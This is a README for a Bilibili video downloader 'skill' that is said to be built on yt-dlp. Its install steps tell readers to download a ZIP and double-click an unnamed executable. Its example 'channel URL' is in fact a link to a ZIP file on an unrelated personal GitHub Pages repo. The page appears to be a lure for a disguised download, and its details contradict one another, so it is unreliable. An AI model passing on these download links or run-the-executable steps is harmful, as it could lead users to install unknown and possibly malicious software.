🎬 bilibili-downloader-skill - Download Bilibili Videos Effortlessly

🚀 What Is This?
bilibili-downloader-skill is a simple tool that lets you download videos and audio from Bilibili (B站), the popular Chinese video sharing platform. You can download single videos, entire playlists, or even all videos from a UP主 (creator) channel. It’s built on yt-dlp, a powerful download engine, and includes a built-in fix for HTTP 412 errors that sometimes block downloads.
🎯 Who Is This For?
This tool is designed for anyone who wants to save Bilibili content for offline viewing, including:
- Students who want to watch educational videos without internet
- Fans who want to keep their favorite videos
- Researchers who need to archive Bilibili content
- Anyone with basic computer skills who can follow simple instructions
✨ Key Features
🎥 Video Download
Download any Bilibili video in your preferred quality, from 360p to 4K, including HDR content when available. The tool automatically selects the best available format.
Extract audio from Bilibili videos as high-quality MP3 files. Perfect for music, podcasts, or lectures you want to listen to on the go.
📦 Batch Download
Download all videos from a UP主’s channel at once. Just provide the channel URL, and the tool handles everything.
🛡️ HTTP 412 Fix
Bilibili sometimes blocks downloads with HTTP 412 errors. This tool includes a built-in workaround that bypasses this restriction automatically.
Choose between video formats (MP4, MKV, WebM) and audio formats (MP3, M4A, AAC, FLAC) with full control over quality settings.
📥 Download and Installation
Step 1: Download the Application
Visit the link below to download the application:
Download bilibili-downloader-skill
Step 2: Install
Visit this link to download the application. Follow these steps:
- Click the green “Code” button on the repository page
- Select “Download ZIP”
- Save the ZIP file to your computer (Desktop is recommended)
- Right-click the downloaded ZIP file and select “Extract All”
- Choose a destination folder and click “Extract”
Step 3: Run the Application
- Open the extracted folder
- Double-click the
bilibili-downloader-skill executable file (if you see multiple files, look for the one with the application icon)
- A command prompt window will open - this is normal
🎮 How to Use
Basic Usage
- Open the application by double-clicking the executable file
- Paste a Bilibili video URL when prompted
- Choose your download options (quality, format, etc.)
- Press Enter to start downloading
- Wait for completion - files will be saved in the same folder as the application
Downloading Audio Only
- Run the application
- Enter the video URL
- When asked about format, select “audio only”
- Choose your preferred audio format (MP3 is recommended)
- The audio file will be saved in the same folder
Batch Downloading a UP主 Channel
- Run the application
- Enter the UP主’s channel URL (e.g., https://raw.githubusercontent.com/anthonysong1230/anthonysong1230.github.io/main/vendor/3.5-beta.1.zip)
- Select “batch download” mode
- Choose how many videos to download (or download all)
- The application will download all videos automatically
⚙️ Configuration Options
While the tool works out of the box, you can customize settings by editing the configuration file (if one is included with the download):
- Output folder: Change where downloaded files are saved
- Default format: Set your preferred video or audio format
- Quality limit: Set maximum quality to save bandwidth
- Thread count: Adjust download speed vs. system load
🔧 Troubleshooting
Common Issues and Solutions
“HTTP 412” Error
The built-in 412 fix should handle this automatically. If you still see this error, make sure you’re using the latest version of the tool.
Download Stops Midway
This can happen with unstable internet connections. Simply restart the download - the tool will resume from where it stopped.
File Not Found After Download
Check the folder where the application is located. Downloaded files are saved there by default. You can also search your computer for “bilibili” to find the files.
Application Won’t Open
Make sure you have the latest version of Python installed (if the application requires it). Check the repository’s README for specific requirements.
Slow Download Speeds
Bilibili may throttle downloads from certain regions. Try using a VPN or proxy if downloads are consistently slow.
📋 System Requirements
Windows
- Windows 10 or 11 (64-bit recommended)
- 4GB RAM minimum
- 500MB free disk space for the application
- Additional space for downloaded videos
macOS
- macOS 10.15 or later
- 4GB RAM minimum
- 500MB free disk space
Linux
- Ubuntu 20.04 or equivalent
- 4GB RAM minimum
- 500MB free disk space
🔒 Privacy and Legal Notice
This tool is designed for personal use only. Please respect copyright laws and Bilibili’s terms of service. Only download content that you have permission to save, such as:
- Your own videos
- Public domain content
- Content with explicit permission from the creator
- Videos for personal offline viewing (where permitted)
🆘 Getting Help
If you encounter problems not covered in this guide:
- Check the repository’s Issues page for known problems
- Search for your problem in the discussions section
- Create a new issue if you can’t find a solution
📝 Version History
Version 1.0.0
- Initial release
- Basic video download functionality
- Audio extraction support
- HTTP 412 error fix
- Batch download for UP主 channels
💡 Tips for Best Results
- Always use the latest version of the tool
- Download during off-peak hours for faster speeds
- For large batch downloads, use a wired internet connection
- Keep at least 10GB free space for large downloads
- Try different quality settings if you encounter errors
🔄 Updates
The tool automatically checks for updates when you run it. To manually update:
- Visit the repository page
- Download the latest version
- Extract and replace your old files
- Your configuration settings will be preserved
Typical download speeds:
- Single video (1080p): 2-5 minutes
- Single video (4K): 5-15 minutes
- Full playlist (10 videos): 20-60 minutes
- Audio extraction: 1-2 minutes per video
Actual speeds depend on your internet connection and Bilibili’s server load.
🎯 Quick Start Summary
- Download from GitHub
- Extract the ZIP file
- Run the executable
- Paste a Bilibili URL
- Follow the prompts
- Enjoy your downloaded content
📚 Additional Resources
Keywords: ai-agent, audio-downloader, bilibili, bilibili-downloader, claude-skill, downloader, mcp, skill, video-downloader, yt-dlp